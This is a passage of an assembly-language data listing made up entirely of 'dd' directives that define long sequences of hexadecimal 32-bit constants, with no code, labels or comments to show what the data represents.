981DC640h, 4AF1DBC0h dd 0B7E329C6h, 9982317Ch, 4038D37Dh, 2EA1720Dh, 16318F9Fh dd 8689BEC4h, 1097BC31h, 0A9F55758h, 0E40A76B5h, 0A9342B36h dd 10EC9C20h, 0F660A9A9h, 0CC0B50D9h, 69CB7F08h, 97583991h dd 0B5FDD108h, 5034B980h, 729F20F1h, 29E9044Dh, 81D1E8B3h dd 0A0B9F60Eh, 0C34CC657h, 0ACDF17CFh, 0C4FF3617h, 0F1B68493h dd 457BE04h, 4E012BD7h, 0ED4AD7A3h, 16A7052Fh, 16EE6DF8h dd 7EB6006Bh, 0F491B84Ch, 0E97CC805h, 31EBAEE8h, 6A0FA459h dd 9C25D28h, 256220F8h, 876287Dh, 6D02D826h, 7A367C78h dd 9E287A2Ah, 0AB024963h, 0BA07D3E4h, 1301559Ch, 40A31FAh dd 0A5695Dh, 965885BFh, 8F70B57Ch, 5F28E707h, 16F64F6h dd 24420BFCh, 0D5E93A89h, 0C79767F0h, 36F7A788h, 0FC294FCEh dd 0A0D45939h, 0B7FDBAE9h, 2D3F6BE7h, 408DC2AAh, 2D0D8745h dd 905C07C1h, 50090BC8h, 0A12CF7B8h, 451B4918h, 95297BE1h dd 5558080Bh, 2227D19Dh, 77BE2510h, 0A3C57214h, 8ABAF586h dd 0F7BF1A4Eh, 5DF60B33h, 0D98979AFh, 2EB3627Eh, 7320D14Dh dd 0A0F1A220h, 0B5C3E907h, 0F175E909h, 4ACE6C59h, 8E9550Ah dd 8A08329h, 9F5201A0h, 89E999B4h, 4C1A555Ch, 3F6AE8F5h dd 617EBCF7h, 2B199768h, 80BB1F65h, 3A740A2Dh, 0FABD2902h dd 0DFD6C58Bh, 95B02C82h, 0E05EB30Bh, 5F700CFAh, 41D9BD1Ah dd 9CAA2008h, 8459B84Ch, 94104C63h, 23BD1F78h, 32C83131h dd 415E028Ch, 69F07E2h, 72950903h, 660A90F7h, 0F00FDF2Ah dd 0D93634E2h, 70F02F4Bh, 26C918CFh, 2AD492D0h, 1203C7Dh dd 5B0881D9h, 5BADA62Ah, 51C761FCh, 0ACB394E9h, 3B91D6B2h dd 0C92AD572h, 0CE40432Fh, 0C8F5EED2h, 3035FFh, 2D228C2Ch dd 0F8F93F83h, 2915E0BFh, 685E09F0h, 4AF9037Fh, 0A6E01293h dd 3DA3040Dh, 0C1973C36h, 0C8F8317Ch, 0A55BE9C7h, 0E5809E03h dd 0D585C134h, 0C39A406Bh, 0E67A223Bh, 17128098h, 1D00D13Ah dd 0E53570F1h, 0CB29245Bh dd 0AFF30136h, 7E047F57h, 0E1905FFCh, 1572E104h, 20CEEB7Dh dd 3CD1B95Fh, 5B32DF21h, 5DA76969h, 0BACB7330h, 0FA6871CCh dd 0BB5F4B67h, 6091F3Dh, 0E6BFDE96h, 27AA1C28h, 4A47D727h dd 282831Dh, 0DF20DDE9h, 0F2CF0FD1h, 0C151B4AAh, 0D654025Ch dd 3AF1690Ch, 3FE4ED40h, 42CA2466h, 45CE083Eh, 0A224B81Ch dd 0DC905164h, 3293537Fh, 30628F4Bh, 82580884h, 0C107F448h dd 0A0C90B67h, 3D1C7901h, 0B31EBF06h, 9CBA72CAh, 40697B27h dd 0F4521BF3h, 0BA685917h, 179460AAh, 254FDD55h, 0D748E1B8h dd 0A7321B81h, 0BCC27E5Fh, 0BD636878h, 271E13C6h, 17B5C179h dd 9933FDCh, 12942DC3h, 29D70462h, 0CF33C124h, 0F75B0EC7h dd 3D4F1330h, 0DAFC557Dh, 8E47263h, 29F6EBD2h, 0D9675D27h dd 4E645213h, 2A58ECC1h, 0C1898702h, 6D0B407Fh, 0EBB72DEDh dd 56973254h, 0AEF4BBA9h, 0C5DFE3E6h, 44152968h, 0FA3B43B9h dd 0B7C3A188h, 7E447B74h, 2B85C490h, 0CF4E4502h, 6C9171F1h dd 0D08C9640h, 11963168h, 39F8D5Dh, 70C6B150h, 0E7BE0C81h dd 201A6723h, 0DD4E33Dh, 5FF02099h, 0AA31C458h, 6BF32549h dd 0AE6A4E25h, 582583CBh, 7D21B8CDh, 0FF13372Ch, 6ACF2DBAh dd 0EDA41BECh, 5EB0A4A9h, 3C284A50h, 68155B9Ah, 10842B05h dd 660729A0h, 3FE68858h, 4E0BC4Bh, 0B43E5052h, 0ADE23F40h dd 95255720h, 0BF99417Eh, 3B4C4003h, 1E4B8F0h, 0E9068B15h dd 7FFEDE5Dh, 40049788h, 0A01D05E1h, 57ED7EAFh, 49024FB8h dd 0A6005F91h, 682FBA29h, 9D6170D2h, 0D4E92E74h, 0C9D4083Fh dd 0CA8D6327h, 0F296CCF0h, 21476F18h, 811F6DECh, 2BB3EE03h dd 0E1560C20h, 0B33A5323h, 59CD1360h, 469CCCBAh, 0C13BB665h dd 923DA7BEh, 560A2B02h, 35BBA853h, 4534AD3Fh, 13CEA70Bh dd 0DD9E6827h, 15601412h, 7EE76608h, 80044EB0h, 0D107EB81h dd 4B795D3Ah, 95A36CC6h, 0B4EF6DBBh, 38CCEEB8h, 586B40E4h dd 6817C6FAh, 9761679Fh, 0CA2CD9B5h, 16C0099Eh, 0A25D6CDDh dd 4D745575h, 98E2582Fh, 0C0A42EC3h, 7334034h, 1F6379Ah dd 30E44E4Bh, 0B779BD0Dh, 0CBF58100h, 0B8AC7FB1h, 0FC3F4EA8h dd 4768E0D6h, 82019158h, 51D8E954h, 10CF207Dh, 0BF3B9472h dd 0C7F3B6C2h, 68353103h, 62EEF25Bh, 0D2FD0012h, 0B005221Eh dd 31AE0F53h, 0CE8C1052h, 18C17BF1h, 0F039CD4Bh, 3E66A82Eh dd 67F1004Ah, 7C114E2Dh, 10BDEA36h, 0B65BE74h, 55E764B9h dd 0D0B89F60h, 6A8B1A9Dh, 0BBC7DD01h, 5E074209h, 0BF5780DBh dd 31670C59h, 6F0BA790h, 5F2D9DDEh, 58FF43EAh, 0FFFF82BDh dd 0D590C958h, 54216E1h, 5B95399Dh, 830904Fh, 0E90B1C41h dd 0EEFED140h, 6CF20405h, 0A859061Ah, 41EBA4C9h, 0E9CA319Ch dd 95007F67h, 0C05BDA88h, 0B1085BEAh, 0B51220C8h, 53B1A6B0h dd 5298680Eh, 0B300B1E3h, 0E933051Ah, 2BB510BEh, 8A146A3Bh dd 318B6013h, 0BF0257C8h, 0E0D6B786h, 0A9960B4Fh, 9A00FDBDh dd 0F4889FF6h, 0A6AEC9F9h, 288BE419h, 0F16FD67h, 0DA4BE92Fh dd 1BE8E07Dh, 0AAAB551h, 706CB3C5h, 0B252D802h, 0E819E95Bh dd 5AD468FFh, 2383B47Dh, 1F3E1341h, 0D318E56h, 5CBEE17h dd 0BCDEE909h, 3B5FA819h, 74CC47F3h, 0A6316857h, 3CD67761h dd 7B565DC2h, 27B5F95Bh, 55288C23h, 60BC0CFFh, 0C10C7D38h dd 47B5450Fh, 9F5041BDh, 0A26F319Ch, 7FDD7E7h, 7E34D110h dd 12F4C507h, 0F5E764EEh, 816ED85h, 0F4E5271Eh, 5466EF5Fh dd 0E4B51621h, 0B3AC1630h, 0FD8CFAFEh, 6F654115h, 0ABA5F0A8h dd 25E9209Ch, 9D202DABh, 2879CFEAh, 190C7664h, 0F6628BC2h dd 0D008A0DEh, 0BC4E140Ch, 0FC7B0B36h, 0E5E5FDFEh, 55C36D93h dd 0D7F8E25Dh, 0F02CF89Ch, 8F6364C2h, 1F3A6E47h, 0AB738B0Fh dd 6EF48371h, 0F0C10304h, 5082015Dh, 1CDF9960h, 0F6360C2Fh dd 209280CBh, 0ADE92631h, 0DFFF7226h, 0B101775Ah, 2F2DB141h dd 0A1EEFAA0h, 996B5F08h, 660CB6B5h, 0A840D238h, 0FE17130Ah dd 0B9280DF2h, 0C129275Dh, 0E08F57Ch, 0F6E3817Eh, 0F90DF30Fh dd 0D89131EBh, 0BE097ABCh, 29A5E949h, 0DC4D09C8h, 295D84D8h dd 101FBDCFh, 90BEBA9h, 27F958C7h, 0DF00CFA0h, 915AD230h dd 0C0794DE9h, 6EEEB75h, 7F9512A2h, 0E0685B38h, 0F7C451EFh dd 34AD2E83h, 3FA72DD3h, 0EC535165h, 4C712BBBh, 0C2AA707Ch dd 0CF4D825Fh, 5B5709CAh, 0C4003CE2h, 5E2E4F69h, 0F733D687h dd 0BB4E08D2h, 2FD3BADEh, 36CD00B3h, 29D1B096h, 7D296BF1h dd 35C38C00h, 2285CE9h, 4F7A8000h, 53D9F720h, 30942BF6h dd 0C4043501h, 0B16CBF50h, 89CCF94Bh, 0EAFFE87Ah, 664E12ACh dd 6B1AA78h, 70B30805h, 23122458h, 0EFE4D8EBh, 0A2517765h dd 0B94FB9BCh, 2DAFF4E2h, 25D72208h, 553CC2E7h, 757A10F4h dd 0E9E13D56h, 3689789Bh, 6700A0B8h, 38E52550h, 0B43A642Ch dd 3E133300h, 0B5FECBE9h, 7F950164h, 759008Bh, 77BFCB0Bh dd 0DFC092h, 4C7D7334h, 98017A3Eh, 0FE5F494Fh, 4CA8C5Eh dd 6331457Eh, 0FA89BD76h, 5F95C16Ah, 6FB2E2Dh, 6639058Dh dd 80A178B5h, 3D08BBF3h, 48271459h, 85043983h, 6A6A93B9h dd 135923CAh, 55C5A810h, 99E32E9Fh, 0D0C2E985h, 3C8468D7h dd 16EFB95h, 407C45E2h, 0B2FC6A31h, 0ABDBEE4h, 41A12385h dd 0EDE1AEB0h, 0DDC46E1Ah, 40521CAAh, 3CDBF681h, 0E6EC02B6h dd 74666F02h, 0DCB4E90Ah, 0C80F0176h, 3B0B7368h, 0B0B6A431h dd 0F701CC89h, 35086775h, 282DFE0Ch, 0B3AABD14h, 518E33ACh dd 0B588B35Ch, 7BC93AACh, 33FD64D0h, 2E804B9Ch, 0A38B0BFBh dd 97C4ADB1h, 57E90802h, 0B5C49634h, 0E9C28B7Eh, 0F9C7F098h dd 0F038BF3Bh, 0AEA4D701h, 22C63208h, 3E5BB5E8h, 58AEEE17h dd 66E91E8Dh, 93EC904Eh, 0C0B2C3A7h, 0DDADDC26h, 0BA48F500h dd 94D8294Dh, 0E17F27A9h, 633A5C6Fh, 0B3848E5Fh, 0E65DCCEFh dd 5306179Dh, 5701BF51h, 0E764132Dh, 0CE60FFE2h, 0BDF64505h dd 5A004748h, 4EE9D398h, 5E57C25Bh, 0A22E84F5h, 838E8757h dd 973F532Fh, 0B71E9257h, 0A43F18CDh, 680452C2h, 374D4925h dd 54F24480h, 6E4F0261h, 0C1E9D789h, 3AB9E8E9h, 30E944FFh dd 0B1B6FF45h, 9F79CB40h, 6C29BA19h, 90BF0389h, 0CF7D5802h dd 4A8E5F86h, 0FF4317E2h, 602B225h, 0F4D36247h, 0A2723CD4h dd 7F805708h, 0FF8231E9h, 8CBEF5CAh, 2ADB214h, 2859CCC6h dd 9A505F7Fh, 2D418D48h, 3549F278h, 823B0D7Eh, 7FDCBE70h dd 0E2FAC4C5h, 50369A2Bh, 0CB8101B3h, 5AD429DBh, 0D426314Bh dd 3D5F1A57h, 34EF4BCh, 252478F2h, 49F79A04h, 0EAA85898h dd 13E80CD8h, 0E9DC8714h, 0E0FD5BF2h, 0A488EED7h, 9AE5DE0h dd 0FC60835Ah, 0CFB007C4h, 0BAD703F5h, 85E9B44Eh, 41BE8D88h dd 1C45BAA5h, 0ECC86A6Bh, 2A2213AFh, 5D1E010Dh, 6B88E766h dd 247B5A48h, 0EF0D1277h, 0A4F1C497h, 0D0ED66C0h, 0EF95856Bh dd 5D43332Dh, 38C3D412h, 0FE35F48Bh, 96163244h, 0B78192B8h dd 0F4F7804Bh, 576EFC0h, 0E936CF05h, 0DEBC2A5Ah, 0ABEB86C4h dd 2557693Ch, 6E50CF89h, 0C2177F80h, 0CBA83F91h, 0D2B81022h dd 2064FE14h, 0B5A3ECBBh, 0E9F060AFh, 6E96C4D1h, 2588B667h dd 45E6CC60h, 60B56070h, 0A1110BFh, 44E934B7h, 0C983BDD5h dd 5514436Ch, 686391D9h, 74DF83EFh, 0D2BBB053h, 0F314C270h dd 7E7836h, 8EFB7434h, 57494A1Bh, 8A0B5565h, 0F6ADAFD1h dd 7ED75C95h, 0BAD238A7h dd 0AD9D5A21h, 8006E801h, 6B748A35h, 14B89037h, 4F810F50h dd 5BD38B01h, 0EFC0805Eh, 66D57C10h, 0C0C76028h, 0D0D8B327h dd 0E838EEDAh, 77C700ABh, 73B01335h, 0FBCC4866h, 4502CE00h dd 85B9617Dh, 0F09A3BEh, 0F8A51082h, 0B7360AFFh, 8E9E5FBAh dd 0EF816B06h, 0CBC15AF9h, 0B5E2160Fh, 0B8F7E0EDh, 3018143Ch dd 0B1430DE8h, 300276Eh, 0B44A7E80h, 6969443h, 0F53AFDCh dd 58E0278Bh, 0C705E290h, 28A3BBDAh, 57C3C100h, 138F08B4h dd 0F8CB8006h, 703906E0h, 7E7A2AA1h, 81BB50CAh, 6017CA35h dd 0A44B1DF6h, 9A5D3097h, 11001E62h, 0D0C869A6h, 0F4491AAh dd 0D5DE5B9Fh, 0F32FFC0h, 61F2FBBFh, 1E9831Eh, 4C48512h dd 0A040580h, 297072Ah, 0DFD2C8h, 0A6B95F7Dh, 2B785B00h dd 0D82A9DE7h, 368790Fh, 6C5D0CC7h, 0B6E0EFE5h, 66000997h dd 6007C35Eh, 0F3E7237Eh, 4D35094h, 0EE6C0CBBh, 0C1911052h dd 3337C0BEh, 2A0FF012h, 0A27A2F07h, 9B878D50h, 92D394C0h dd 0C1713274h, 48102E28h, 86F89A5h, 0BA734455h, 0AECF2284h dd 448008FDh, 4D88D674h, 61FD0091h, 6D08323Fh, 31583D5Ch dd 395900B9h, 51F02B1Dh, 2E7FFEh, 1242E0F7h, 0AA99F5E2h dd 0F1CFDA02h, 40B1B2C1h, 1C50A67Ch, 371D10h, 0F9A39CBCh dd 483F4340h, 11878FDBh, 0EFBD606Ch, 38F2CBE8h, 0F781F5DEh dd 5F7004AAh, 85A03BF6h, 147C2716h, 713D1D58h, 45E872F4h dd 808E1A00h, 2A1710A0h, 69400C2h, 5155ABD0h, 0F13BDE6Bh dd 750180C4h, 97408766h, 9B9400FBh, 0E2D433C7h, 2800A5BFh dd 6FBAEF6Dh, 31917A7h, 2F5C0CD6h, 0D0A00D14h, 0E30C1168h dd 386569B4h, 2A752Ch, 0B2504B31h, 51328E57h, 0B600F871h dd 61DE5E91h, 3EB5B88Bh, 7400BC23h, 126DCE89h, 0DB037A4Ah dd 0F4A046B2h, 0D9B9D8D4h, 3D28003Fh, 840B779Dh, 10908E65h dd 4B8A1D01h, 1FA145B6h, 3C3AC8h, 5415667Bh, 6DBF4C91h dd 0BE516E00h, 0D80CD567h, 19B80001h, 0E46128F0h, 87003209h dd 5D6DDC4h, 9A9921h, 279017CEh, 2C81E396h, 0CF37A100h dd 6304223Dh, 0FE3CC00Bh, 0A174952h, 4ED4D000h, 62061658h dd 7B6E000Eh, 0EAD330D1h, 5F010D6Ch, 4888FFD8h, 0F04036F5h dd 77A3AF74h, 0DD180165h, 0FDBD2041h, 0A643C0ADh, 0D68BC300h dd 34C7E7CEh, 28C6EA88h, 24D54C92h, 8420CAh, 0C47CD2C1h dd 0DF00AFA7h, 0EC8A9D5Fh, 0F6627874h, 79700F8Ch, 55A02919h dd 573B4752h, 41DFF903h, 0D8FA222Eh, 10CE0Ah, 0F6E0C68h dd 7181B2E5h, 6F356700h, 447F98EFh, 6CA001Eh, 1BDB8663h dd 97004C8Bh, 8AD8818Fh, 0FC7D9EA2h, 61E0074h, 0FC674945h dd 6D0093FAh, 0F070D0Ah, 0EB23B73Fh, 9DEE424h, 63C9224Eh dd 92374820h, 0A748CC86h, 0DED500E9h, 9F54CB06h, 2B885851h dd 94830072h, 8BACB2BEh, 0C3000678h, 6562F9A0h, 0F2C56BC0h dd 40D8485Eh, 3D591000h, 2DABFB50h, 886FBB00h, 0B7CE86C8h dd 0B0A62567h, 0F800DB70h, 1A019D75h, 0BC833h, 0BDD304A1h dd 170DB31Bh, 0C6217C03h, 7C16208h, 0DC5209D8h, 5803E07Fh dd 34002C0Ah, 40EC87A4h, 0ACCAE9h, 2B6770B8h, 0E6F25204h dd 0C58D580Fh, 0D96EA0CFh, 0C2D2C9h, 0BBE2AF18h, 3EBCFEEAh dd 0B0F4CDF6h, 8C112814h, 2EC70090h, 752047F0h, 0DFCC040Ah dd 40ECFAB6h, 809F4669h, 0EF2000D1h, 0F093EE0Bh, 0F404EAB0h dd 6405253Ah, 3349C3BEh, 594E0B80h, 0C31C2000h, 59161C4h dd 0BC0D0E3Ch, 0A4B2F42h, 5AD28700h, 2B00EAA2h, 0FA321CD4h dd 0A83EDAh, 58EF02B9h, 0FE8D5289h, 29AF39h, 28A157DCh dd 241DC4h, 0F696CE40h, 0E01B60C7h, 0D4364Ch, 555C4F08h dd 3B729B4h, 0D03D1970h, 0E7E8BFF9h, 0EA0E6A1Fh, 0F7530F7h dd 0C3FFAFA3h, 9016D191h, 1ECEB3Ah, 408F64D6h, 0CC0CFEBBh dd 0AD002252h, 6EB3D401h, 7096F2h, 8E78DC8Dh, 5ED50FEBh dd 0B9DFB200h, 0B127BA3Ah, 0ECC0013h, 0F1CB6C20h, 0F60F16DDh dd 409FA69Ah, 1AD5646Eh, 36760013h, 0AFD12FB1h, 10098401h dd 6B2962Ah, 16DD7Ch, 9BD5E099h, 751AB8B9h, 4D0FC900h dd 48561843h, 264E7030h, 0A4414Ch, 49DC788Dh, 400566B6h dd 12EBC5A0h, 0E1F660C0h, 20FE00B2h, 95FA3FFCh, 8800930Ah dd 327B3E72h, 0B8B50FBh, 9419DCA6h, 2880A086h, 0F1680B07h dd 2D20AEBBh, 9B697Bh, 7D0EC817h, 983AAC2Bh, 7213D400h dd 57076216h, 67CE447h, 38F1AA8Ch, 560049E0h, 9262D43Bh dd 0A7A81Bh, 4E08E78Dh, 0F1D6150Fh, 9E739504h, 8480AB94h dd 981BB765h, 2BB80030h, 6D81DDE2h, 8C033F40h, 804C453Ch dd 0BB3E80ACh, 2D330948h, 70801065h, 0B4DEBCE3h, 4CF01D00h dd 3A09082h, 790624D4h, 544000ACh, 6CA9E5DAh, 9F50548h dd 0EE374Fh, 0A7A58B59h, 3FFA7C34h, 4E002542h, 4A91559Dh dd 0FF907A8Fh, 33EACDB0h, 0EA6E3903h, 0D9FEC971h, 0D7E1BA2Ch dd 6C48C4h, 7FCC18C5h, 0EA17B63Dh, 5D00247Ah, 419A58D2h dd 1012D4Fh, 78C1191Ch, 0ECE62ADDh, 0A024D5Fh, 7922F3B5h dd 0A15460CFh, 7DD1007Eh, 60F4964Bh, 1D002940h, 2545677Ah dd 0DC0F51h, 4122A35h, 0EE66FCEBh, 3D1A0D00h, 95E3E705h dd 0C5DE009Eh, 549AB8B7h, 0CB903964h, 0FC0BC00h, 24F41765h dd 611C000Ah, 0AF7702E7h, 19003A1Fh, 5993E970h, 4CB61812h dd 202C88Ch, 1F38A51Ah, 0F2AE8440h, 940BFB77h, 0A3505B2Bh dd 0B343B918h, 7993F0ACh, 4C0800F3h, 4B86DE61h, 5D007DCBh dd 0B2C25C76h, 0BDD6228h, 0CF6BCA12h, 48932C00h, 1D40A696h dd 0F886059Dh, 805B4C78h, 206E6944h, 463854E2h, 1D0C8038h dd 790B4D05h, 79EB7B2Eh, 0DBFC582Bh, 7216C600h, 9BAC32DEh dd 0DB4AF803h, 4855650h, 0BC3A1C8h, 0A6B09199h, 76F0DF09h dd 8B582F05h, 0EBA20008h, 41D20DAh, 1F91FCCDh, 0C035B54Fh dd 50740A68h, 45396563h, 0CF1182D6h, 0C006490Ch, 0B154D3D3h dd 0C6C800D4h, 6712F795h, 58113100h, 0BAB986BDh, 3CAB00C3h dd 0E802D496h, 50D4DBA5h, 61E201C2h, 51E0DD26h, 77DCF4h dd 8ABA7173h, 3A7FD537h, 0C4DE4Dh, 0A0870B58h, 0D78B5Ah dd 17D0AE53h, 0BD3CF560h, 0D901B00Ch, 0B0A140CBh, 931F0083h dd 0F95F8EDDh, 3A03AD35h, 7516D594h, 6E839967h, 801260h dd 72D77DDBh, 6B9E6F99h, 3E68A00h, 1BA206BFh, 63CB04AEh dd 809FD9AAh, 1C834E82h, 9499500h, 0DF7ADCA8h, 0D451D28h dd 9AC200E6h, 0C4F07E6Ah, 77A9C603h, 0D0732139h, 5EEE80Dh dd 0C56EE3B6h, 7D3C8089h, 152CAB2Ah, 10378A6h, 0F8DBDC8Bh dd 0FAF1F475h, 4E8D001Fh, 0F5471EB9h, 0A100786Ch, 488F7A59h dd 0A94401h, 7D23A752h, 78B96576h, 0A0B8CAFCh, 8CF60730h dd 24E9BE38h, 80704361h, 31D87BEEh, 0AB001B3Ah, 0C2B2A1BFh dd 605C79D7h, 6862B86Ch, 441C964Fh, 64C9610Ch, 794C00A0h dd 27AAE95h, 50055CECh, 3CC00B9Ch, 0ECBA0AD4h, 24001D7Eh dd 0BD04E165h, 0FDACD8Ch, 33D636D3h, 1EDC31A3h, 0A518A0DCh dd 2E9D1B00h, 1863783Fh, 4F940153h, 0F08B09Ah, 88B8205Ah dd 47B20701h, 0CB51206h, 1A19270h, 75CEBDFBh, 0E4EBF8B1h dd 0EC0027B8h, 556F0DB6h, 0B37FB5Ch, 7BE0FA6Bh, 0FC067780h dd 8490DE81h, 0EF2A2600h, 3861F52h, 0C9E1360h, 65CB0066h dd 0F93037ADh, 4D3E803h, 0C9741486h, 0A840A2CBh, 47CE7A6h dd 0B2549456h, 5F98C0D6h dd 21C1599Bh, 0B8EEFDE8h, 38FF6980h, 640F6358h, 495DFB07h dd 80391E75h, 9EA5A18h, 44390065h, 0FE460F32h, 8B3957E7h dd 51D5B07Eh, 0DF845Ch, 0FF9349C7h, 4E0940E7h, 0B5545B16h dd 0CA35F000h, 0BEB00Eh, 0BC25DF7h, 691C39DFh, 4853A405h dd 3880442Ah, 0DD9530h, 2959B7AAh, 7167FD0Eh, 4AC00B00h dd 0ACA12E14h, 7A700513h, 466D3Bh, 0A81DB9CCh, 0BE00D815h dd 0A3BD86B0h, 0BFCD89h, 51B2DF9Eh, 3E9DCCAFh, 721FDA00h dd 6971ED13h, 579400ABh, 9E744B49h, 410067ECh, 0F46B267Eh dd 2B6FFFh, 1BCD0EA0h, 92BDE14Fh, 5568280Ah, 0D4038C3Bh dd 0A02F314Eh, 0B0DCDDCBh, 0B0B700C0h, 6EC04B91h, 0D700FC6Dh dd 0B106D118h, 3AE8F8BFh, 3F002711h, 3AE00C2Ah, 0C000131Dh dd 2B11207h, 4BF1F3h, 8272791Fh, 7B488445h, 0D3923C00h dd 6849B87Ch, 2A1A03C6h, 705213Dh, 35A7A698h, 80550F2Ch dd 38815800h, 3C7F7A95h, 0EC807212h, 0F789C7F4h, 0F500A0B9h dd 45B5CDD3h, 82DCEFh, 8D326237h, 0B8657AD5h, 2D07AF7Ch dd 879E8FA8h, 3B2B11A0h, 34D100A0h, 0B294FD74h, 160E8A73h dd 0F22251h, 0C689E52Ah, 75FEE21Fh, 1D170067h, 0BF15A55Dh dd 144C2007h, 480800ECh, 0C2E99E10h, 15E7059h, 4AA8D127h dd 60C375A3h, 8400E2CCh, 3A32560Ch, 76F89A68h, 0F52F00FCh dd 51F62CBEh, 0D200774Dh, 0FD697445h, 0D01580h, 6836304Ch dd 4412F83Ch, 0C1AC9800h, 0A5BF86A1h, 0EFCB0097h, 0F1B531EBh dd 0DE00AADCh, 0BDD43C11h, 7C00E44h, 2D335D5h, 5725F37Fh dd 63A3F280h, 240064F6h, 95E636FDh, 257415E0h, 50807DB2h dd 0C53BA3C6h, 0B50042E0h, 637E392Eh, 0F699B3h, 9A0C0AD7h dd 85BB083Dh, 0DB819100h, 0B99384CFh, 7356009Dh, 1E0AF925h dd 1F75E410h, 0E72D6900h, 0CE8F92F0h, 727E0FD8h, 0BB40B7A2h dd 0B2BE6078h, 1091301Fh, 58E18B0Eh, 3B6A0A89h, 0AF806D36h dd 0A6EB665Ah, 33003E4Dh, 101F1E56h, 0E89A55CFh, 9E377973h dd 0AF9D0394h, 0EBC0B8D0h, 4674B2F7h, 65B8AAEAh, 18C7B4E4h dd 0BB40F656h, 253E2E4Eh, 0DC008F18h, 0C09A7AD3h, 22754C1Dh dd 0C0BA2133h, 0BA4A9BEDh, 5497148Ch, 0A10138CDh, 296DAFF3h dd 9D61D0DBh, 12CF4B00h, 9D9B7EBh, 0D5F80797h, 104E5F02h dd 0C176DEC2h, 4C1D3700h, 0D77EEADAh, 0B55000B9h, 617B2C05h dd 41041CB4h, 25862B14h, 0E0245AC3h, 0FDB1E95h, 64E35079h dd 22A700DEh, 5B9E1774h, 11243800h, 0A1578666h, 330A00D8h dd 0F175A770h, 3E0714AAh, 22CF9829h, 0B04705C5h, 0BB915637h dd 0C1DBBF81h, 0A3EA4F86h, 3CA41284h, 5307B4E1h, 36867A50h dd 93742132h, 476CCD18h, 0A688911h, 22B6CADAh, 1187031Ch dd 11073F13h, 409FD5AAh, 6818F26h, 3377A321h, 1702117Ah dd 0C594719h, 0ED9700CBh, 0B0216049h, 0B34932D6h, 17437904h dd 20A50B59h, 8FDE8C50h, 286C22h, 0AF7C9FBEh, 4CC72025h dd 83E3633h, 0D321A046h, 0B4D01810h, 963820B0h, 0B09FF83Ch dd 0EBC410CBh, 99430985h, 200F8AA4h, 1A5D6EC0h, 7F28C7DAh dd 0D703A0F0h, 4E45090Ch, 0D3FAE18Dh, 0C65678E0h, 89266B10h dd 548EB200h, 0A05EB4E2h, 0A5D23C72h, 0EB450F00h, 6BB284F6h dd 97E79401h, 68FC99D5h, 48F947D0h, 0C572158Ah, 40C4B0F0h dd 0D2DBF88h, 9801041Eh, 3BE7D65Ch, 0E3DDE559h, 20EBCFC4h dd 401545B0h, 1D988DD7h, 3AC04802h, 5964D17Bh, 3AB0A40Ah dd 9628C8CAh, 9AD51EFEh, 0B89B83F3h, 0A6A04356h, 5100651Fh dd 5D0954CAh, 0DA0EEE7h, 29ABFC73h, 94F9F0E8h, 659F9C01h dd 596C04D5h, 9802188Ch, 0A0C43D0h, 31B054D3h, 1E120756h dd 0C16A0C9Ch, 75F8BFCh, 0A7BCCE0h, 80B486Eh, 98112618h dd 0E800EB44h, 81F3328Eh, 3FBE57h, 0DCC75B88h, 0CCBC5489h dd 16AAF3Ch, 3258B5D6h, 0C9D0B0E3h, 3FCF3CABh, 5BB8E005h dd 56D81BDh, 4BE8D0C3h, 85ADCA01h, 7CDD5D52h, 0A91A60h dd 0C3C4B182h, 0ADB95FABh, 0B8588A13h, 0BC5E4602h, 3C3894A8h dd 73CD1EEh, 187AD215h, 0D0D5E3F1h, 85F0CAF9h, 60E5B0C2h dd 0AD25E054h, 0D262008Dh, 0F5E36A81h, 0B81D3EE8h, 0BC3985D7h dd 0B3A91CF4h, 5DB45C82h, 0A16881A8h, 7CE15E68h, 983941EFh dd 1804BEE2h, 108D94D5h, 5C1F0DA3h, 9383142Bh, 9002BB78h dd 3562F8h, 9E8BE28Ch, 0A1CA3E1Ah, 0A7B230C0h, 0C7880C4Ah dd 81135418h, 8387F92Ah, 0E8AA2B11h, 468AD971h, 28F825F8h dd 3C2CC8F1h, 0F38A1E2Dh, 0C60C8D9Eh, 0C8C8964h, 179E381Fh dd 0A7742501h, 5886473Dh, 895C8C0Dh, 51F3E06h, 19402CFEh dd 0E82B55D8h, 6840980Eh, 0D0E9AE59h, 0D80A7828h, 10582E53h dd 9CC8EF94h, 3BCFE477h, 601DBFF2h, 0E2496F0Ah, 0A8247A0Fh dd 0A7A104E1h, 1D21AC80h, 587F6050h, 966CA65h, 0A9CBE61Dh dd 0E8740CE8h, 0E48BAE24h, 34440B80h, 0EC1AB39Dh, 8FF81D69h dd 24230A8Ah, 3C8E1D0Ch, 80FC0E24h, 0B763308Dh, 0A975F8BCh dd 29747D1Eh, 0CD0664Ah, 8C09321Dh, 7314A2F2h, 2358808Fh dd 0E3A36526h, 0D688644Eh, 8FC86981h, 8C54B778h, 4EB8BC08h dd 485BA702h, 8CB0B8A3h, 1568803Fh, 0AF02197h, 0F8710CAAh dd 0E004F865h, 5CC2A8C0h, 484012C6h, 8F80885Dh, 0D913797h dd 0A2DC22C1h, 14158C99h, 8701E46Ah, 8C09D2CAh, 9869B108h dd 901646D1h, 0B0185142h, 0F22868E7h, 0C088ABE4h, 889353A4h dd 54E06231h, 3F642032h, 7E2D2984h, 28F10294h, 0E0A18AFBh dd 237D3865h, 858C220Ch, 98251580h, 51140C46h, 0C93F8CC2h dd 55046D2Ch, 880D2E0Ah, 28E03E66h, 42F48DAEh, 7752727Ch dd 9C406594h, 6F0BC841h, 28231951h, 8085A622h, 3099AF1Ah dd 0A0983B0Ch, 4C63CB8Ch, 21FE0C89h, 0D06550C5h, 0A8B93B24h dd 8F4AF164h, 9910E680h, 0DC280C8Ch, 6D498CFDh, 0CE23AA9Ch dd 2A4F43D4h, 0A0AF8C8Dh, 0A1B0E690h, 0A24E267h, 6592149Dh dd 74886035h, 61406A2Fh, 2C02F850h, 72F38A8Fh, 297E11E4h dd 0ACACA837h, 140F3143h, 0D8695979h, 937C3095h, 5D0B6558h dd 7F2CE64Ch, 0D78BDE88h, 372CE862h, 0E3694BC0h, 0D810C58Fh dd 980EAB0h, 35C8F216h, 5186B07h, 14F74478h, 0AB22DCA0h dd 0D00D640Ch, 9D618F5h, 0C2A94755h, 0EC7E4580h, 71CE1793h dd 9C40908Fh, 4C5A8964h, 7B119B3Ch, 51E4796Dh, 0FEC03CE8h dd 2D2560B7h, 8ED8AA8Dh, 0E2FC083Ch, 63F16827h, 874100D6h dd 0FC006184h, 0EAB4D5DBh, 3E62E8E4h, 3A0796D6h, 0C27ADEE3h dd 1483A7E7h, 0E2E059D2h, 214C8DCBh, 2B280963h, 264C166Bh dd 